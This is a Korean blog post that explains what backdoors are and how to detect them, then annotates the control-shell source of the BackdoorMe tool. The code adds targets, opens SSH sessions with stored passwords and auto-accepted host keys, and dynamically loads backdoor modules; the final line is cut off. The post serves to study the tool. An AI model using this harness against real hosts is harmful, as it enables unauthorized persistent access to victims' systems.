IT-Security 2024. 5. 31. 17:00

Backdoor

공격자가 피해자의 시스템에 비인가된 접근을 하기위해 설치하는 악성 소프트웨어

 

감염 사유

무분별한 파일 다운로드

취약 포트 허용(21,22,23)

 

탐지방법

현재 동작중인 프로세스 확인

현재 열려있는 포트 확인

로그 검사 및 백도어, 악성코드 툴 사용

 

Backdoor 도구 코드 분석

※ 악성코드 분석 결과 발견된 위협에 대해 알려드립니다. 이 코드는 사용자의 컴퓨터 시스템에 손상을 입힐 수 있는 가능성이 있으며, 개인 정보 유출, 시스템 장애, 또는 불법적인 활동에 이용될 수 있습니다. 이러한 악성 코드로부터 안전하게 보호하려면 소프트웨어 업데이트, 안티바이러스 프로그램 사용, 신뢰할 수 있는 소스에서의 파일 다운로드 등 보안 조치를 취해야 합니다. 또한, 의심스러운 이메일 첨부 파일이나 링크를 클릭하지 않고, 불분명한 출처의 소프트웨어를 다운로드하지 않는 것이 중요합니다. 안전한 인터넷 사용을 위해 항상 주의를 기울이고, 보안에 대한 경각심을 가지는 자세가 중요합니다.

 

Backdoor 진행 흐름

  1. 타겟 추가(def addtarget)
  2. SSH연결(def do_open)
  3. 백도어 모듈 로드 및 실행(def do_use)

 

master.py

패키지 선언 및 객체 초기설정 및 초기화

import os
import socket
import subprocess
import target
import getpass
import rlcompleter
from colorama import *
from tkinter import *
import cmd
from backdoors import * 
from modules import * 
import importlib
import inspect
import sys
import traceback
import netifaces as ni ##네트워크 인터페이스와 관련된 정보를 제공하는 모듈
from six.moves import input
import six
##Backdoor 툴에 사용되는 패키지


GOOD = Fore.GREEN + " + " + Fore.RESET
BAD = Fore.RED + " - " + Fore.RESET
WARN = Fore.YELLOW + " * " + Fore.RESET
INFO = Fore.BLUE + " + " + Fore.RESET
OPEN = Fore.GREEN + "open" + Fore.RESET
CLOSED = Fore.RED + "closed" + Fore.RESET

sys.path.append("backdoors") ##외부 폴더의 모듈을 불러오는 명령
sys.path.append("modules") ##외부 폴더의 모듈을 불러오는 명령


def ascii_art():
    print("   ___           __      __              __  ___"   )
    print("  / _ )___ _____/ /_____/ /__  ___  ____/  |/  /__ ")
    print(" / _  / _ `/ __/  '_/ _  / _ \/ _ \/ __/ /|_/ / -_)")
    print("/____/\_,_/\__/_/\_\\\\_,_/\___/\___/_/ /_/  /_/\__/ ")


class BackdoorMe(cmd.Cmd):
    prompt = Fore.BLUE + ">> " + Fore.RESET

    def __init__(self):
    ##객체 초기설정 및 초기화
        cmd.Cmd.__init__(self)
        self.enabled_modules = enabled_modules 
        self.target_num = 1
        self.port = 22 
        self.targets = {}
        self.curtarget = None
        self.get_local_ip()
        
        if six.PY3:
            self.localIP = str(self.localIP)
        else:
            self.localIP = self.localIP.encode('ascii', 'ignore').decode('ascii')
        ##Python3일 경우 localIP를 문자열로 반환, 아니라면 'ascii'로 인코딩하고 디코딩하여 loal IP 반환

        self.ctrlc = False
        ascii_art()
        print("Welcome to BackdoorMe, a powerful backdooring utility. Type \"help\" to see the list of available commands.")
        print("Type \"addtarget\" to set a target, and \"open\" to open an SSH connection to that target.")
        print("Using local IP of %s." % self.localIP)
        self.addtarget("127.0.0.1", "george", "password")
  • 해당 애플리케이션에서 사용되는 패키지 선언
    • import *
  • 객체 초기 설정 및 초기화
    • __init__(self)
    • def get_local_ip(self) 메소드 실행

 

def get_local_ip

    def get_local_ip(self):
        interfaces = ni.interfaces() ##시스템의 모든 네트워크 인터페이스를 호출
        interface = ""
        for iface in interfaces: ##인터페이스가 담겨있는 변수를 반복문 실행
            if ni.AF_INET in ni.ifaddresses(iface) and "lo" not in iface: ##인터페이스 정보에 AF_INET가 포함되어 있고 "lo"가 포함되어 있지않다면
                interface = iface ##interface 변수에 포함

        if interface != "":
            addrs = ni.ifaddresses(interface)
            ipinfo = addrs[socket.AF_INET][0] ##socket.AF_INET명령을 사용하여 인터페이스 주소의 IP값을 추출
            self.localIP = ipinfo['addr']
  • 시스템의 모든 네트워크 인터페이스 호출
    • ni.interfaces()
  • 반복문으로 필터링한 네트워크 인터페이스의 주소 값의 IP 추출
    • ni.ifaddresses(interface)
    • addrs[socket.AF_INET][0]
  • self.localIP변수에 주소 값 저장
    • self.localIP = ipinfo['addr']

 

def target

    def addtarget(self, hostname, uname, pword): ##타켓 추가하는 메소드
        t = target.Target(hostname, uname, pword, self.target_num) ## t변수에 hostname, uname, pword, self.target_num값 저장
        self.targets[self.target_num] = t ##self.target속성의 self.target_num번째 순서에 t삽입
        self.target_num += 1 ##self.target_num +1 
        self.curtarget = t ## self.curtarget속성에 t 삽입

    def get_target_info(self): ## 타켓을 가져오는 메소드
        hostname = input('Target Hostname: ') ## Target Hostname 입력
        try:
            socket.inet_aton(hostname) ## hostname이 유효한 IP주소인지 확인
        except socket.error: 
            print(BAD + "Invalid IP Address.") ## 소켓에러가 발생 시 해당 구문 프린트되고 None 반환
            return None, None, None
        uname = input('Username: ')  ## Target Username 입력
        pword = getpass.getpass()  ## Target Password 입력
        return hostname, uname, pword ## hostname, uname, pword 반환
    
    def do_addtarget(self, args): ## 타겟을 추가하는 메소드
        hostname, uname, pword = self.get_target_info()
        if hostname is None: ## hostname이 None이라면 반환하지않고 함수 종료
            return
        print(GOOD + "Target %d Set!" % self.target_num)
        self.addtarget(hostname, uname, pword) ##addtarget함수를 실행시켜 hostname, uname, pword 추가
    
    def do_edittarget(self, args): ## 타겟을 수정하는 메소드
        t = self.get_target(args, connect=False) ##get_target함수를 connect=False상태로 호출해서 t변수에 저장
        if t is None: ## 만약 t가 None이라면 호출하지않고 함수 종료
            return
        hostname, uname, pword = self.get_target_info() ## get_target_info를 호출하여 hostname, uname, pword에 저장
        t.hostname = hostname ##사용자가 입력한 hostname을 t인스턴스의 hostname에 저장
        t.uname = uname ##사용자가 입력한 uname을 t인스턴스의 uname에 저장
        t.pword = pword ##사용자가 입력한 pword을 t인스턴스의 pword에 저장
        print(GOOD + "Target edited")
  • def addtarget(self, hostname, uname, pword) ## 타겟 추가 메소드
    • hostname, uname, pword를 입력받아 t변수에 저장한 후 targets속성에 저장
      • t = target.Target(hostname, uname, pword, self.target_num) 
        self.targets[self.target_num] = t 
  • def get_target_info(self) ## 타겟 입력 메소드
    • hostname이 존재한다면 username, password 입력하여 반환하는 함수
      • hostname = input('Target Hostname: ') 
        try:
            socket.inet_aton(hostname) 
        except socket.error: 
             print(BAD + "Invalid IP Address.") 
             return None, None, None
        uname = input('Username: ')  
        pword = getpass.getpass()  
        return hostname, uname, pword 
  • def do_addtarget(self, args) ## 타겟 추가 메소드
    • get_target_info메소드를 불러와서 실행시킨 후 hostname이 None이 아니라면 addtarget함수 실행시켜 타겟 추가
      • hostname, uname, pword = self.get_target_info()
        if hostname is None:
            return
        print(GOOD + "Target %d Set!" % self.target_num)
        self.addtarget(hostname, uname, pword)
  • do_edittarget(self, args) ##타겟 수정 메소드
    • self_target함수를 connect=False상태로 실행시켜 t변수에 저장하고, get_target_info함수를 실행시켜 hostname, uname, pword 를 입력받아 각 속성에 삽입
    • hostname, uname, pword를 t.hostname, t.uname, t.pword에 삽입하여 수정
      • t = self.get_target(args, connect=False)
        if t is None:
             return
        hostname, uname, pword = self.get_target_info() 
        t.hostname = hostname
        t.uname = uname
        t.pword = pword
        print(GOOD + "Target edited")

 

def do_open

    def do_open(self, args):
        t = self.get_target(args) ##get_target메소드를 호출하여 타겟에 대한 상태 및 SSH가 열려있는지 확인
        if t is None: ## t가 None이라면 반환하지않고 메소드 종료
            return
  • self.get_target함수를 호출하여 타겟의 상태 및 SSH연결 상태를 확인하고 SSH 연결 시도
    • t = self.get_target(args)
      if t is None:
                  return

 

def get_target

    def get_target(self, args, connect=True):
        t = self.curtarget
        if (len(args.split()) == 1 and not args.split()[-1].isdigit()) or len(args.split()) == 0:
        ##args값이 하나이고 숫자가 아니거나 args값이 없다면
            if self.curtarget is None: ##curtarget값이 None이라면 None을 반환하고 메소드 종료
                print(BAD + "No currently set target. Add a target with 'addtarget'.")
                return None
            else: ## curtarget값이 존재한다면 target_num 출력
                print(GOOD + "Using current target %d." % t.target_num)
        elif not self.target_exists(int(args.split()[-1])):
        ##args값이 존재하지 않다면 None을 반환하고 메소드 종료
            print(BAD + "No target with that target ID found." )
            return None
        else: ##args값이 하나이고 숫자가 아니라면 targets변수에 args값을 추가하여 t변수에 추가
            print(GOOD + "Using target %s" % args.split()[-1])
            t = self.targets[int(args.split()[-1])]
        if not t.is_open and connect: ##t변수가 t.is_open, connect되어있지않다면 open_conn메소드 실행
            print(BAD + "No SSH connection to target. Attempting to open a connection...")
            self.open_conn(t)
  
        return t
  • arg값 호출하여 공백으로 나눈 값이 1이고, 숫자가 아니거나 arg값을 공백으로 나누었을 때 0이라면 아래 조건문 실행
  • curtarget값이 None이라면 None을 반환하고 메소드 종료
    • if self.curtarget is None:
          print(BAD + "No currently set target. Add a target with 'addtarget'.")
          return None
      else:
          print(GOOD + "Using current target %d." % t.target_num)
  • args값이 존재하지않다면 None을 반환하고 메소드 종료
      • print(BAD + "No target with that target ID found." )
        return None
  • args값이 하나이고 숫자가 아니라면 t변수에 추가
    • print(GOOD + "Using target %s" % args.split()[-1])
      t = self.targets[int(args.split()[-1])]
  • t변수가 is_open, connect되어 있지않다면 open_conn(t)메소드 실행
    • print(BAD + "No SSH connection to target. Attempting to open a connection...")
      self.open_conn(t)

 

open_conn

    def open_conn(self,t):
        try: 
            t.conn() ## t매개변수를 conn()메소드 실행
        except:
            print(BAD + "Connection failed.")
            return
        print(GOOD + "Connection established.")
  • conn()메소드 실행하고 실패했을 경우 print반환하고 종료, 성공했을 경우 print반환

 

def do_use

    def do_use(self, args):
        try:
            bd = args.split()[0] ## args값의 첫번째를 bd변수에 할당
            loc, bd =  bd.rsplit("/", 1) ## bd변수를 오른쪽에서 한번만 "/"를 기준으로 분리하여 백도어의 경로와 이름을 분리 
            if "backdoors/" + loc not in sys.path: ##만약 backdoors경로가 시스템 경로에 없다면 추가
                sys.path.insert(0, "backdoors/" + loc)
            mod = importlib.import_module(bd) ##백도어 모듈을 동적으로 로드
            t = self.get_target(args) ##get_target메소드를 사용하여 대상 호출
            if t is None: ##만약 get_target메소드가 None이라면 반환하지않고 메소드 종료
                return

            clsmembers = inspect.getmembers(sys.modules[bd], inspect.isclass) ##inspect 모듈의 getmembers 함수를 사용하여 백도어 모듈(sys.modules[bd]) 내의 클래스를 clsmembers변수에 저장
            try:
                [m for m in clsmembers if m[1].__module__ == bd][0][1](self).cmdloop() ##clsmembers변수에 __module__==bd인 클래스를 찾아서 cmdloop()실행
            except Exception as e: ##예외처리
                print(BAD + "An unexpected error occured.")
                print(e)
                traceback.print_exc()
        except Exception as e: ##예외처리
            print(BAD + args + " backdoor cannot be found.")
            print(e)
            traceback.print_exc()

 

  • backdoors경로 및 backdoor 생성
    • bd = args.split()[0]
      loc, bd =  bd.rsplit("/", 1) 
      if "backdoors/" + loc not in sys.path:
          sys.path.insert(0, "backdoors/" + loc)
  • 백도어 모듈을 동적으로 로드
    • mod = importlib.import_module(bd)
  • inspect 모듈을 사용하여 백도어 클래스의 인스턴스를 생성하여 cmdloop을 실행
    •  clsmembers = inspect.getmembers(sys.modules[bd], inspect.isclass)
                  try:
                      [m for m in clsmembers if m[1].__module__ == bd][0][1](self).cmdloop()

 

 

target.py

def conn

def conn(self):
    #print("Opening SSH connection to target...")
    self.ssh = paramiko.SSHClient()  ## paramiko.SSHClient()객체 생성
    self.ssh.load_system_host_keys() ## ssh변수에 paramiko라이브러리의 load_system_host_keys() 객체 생성
    self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ##호스트키가 없는 경우 호스트 키 추가하는 정책 생성
    self.ssh.connect(self.hostname, port=self.port, username=self.uname, password=self.pword) ##hostname, port, uname, pword를 사용하여 ssh접속 시도
    self.scp = SCPClient(self.ssh.get_transport())#don't call this, but use the above function instead. 
    self.is_open = True ##is_open변수를 True로 설정
  • SSHClinet()객체, load_system_hostkey()객체, set_missing_hostkey_policy()객체를 ssh변수에 삽입
    •     self.ssh = paramiko.SSHClient() 
          self.ssh.load_system_host_keys() 
          self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  • hostname, port, username, password를 이용하여 ssh연결 시도
    • self.ssh.connect(self.hostname, port=self.port, username=self.un

 


Backdoor 도구 소스코드

https://github.com/Kkevsterrr/backdoorme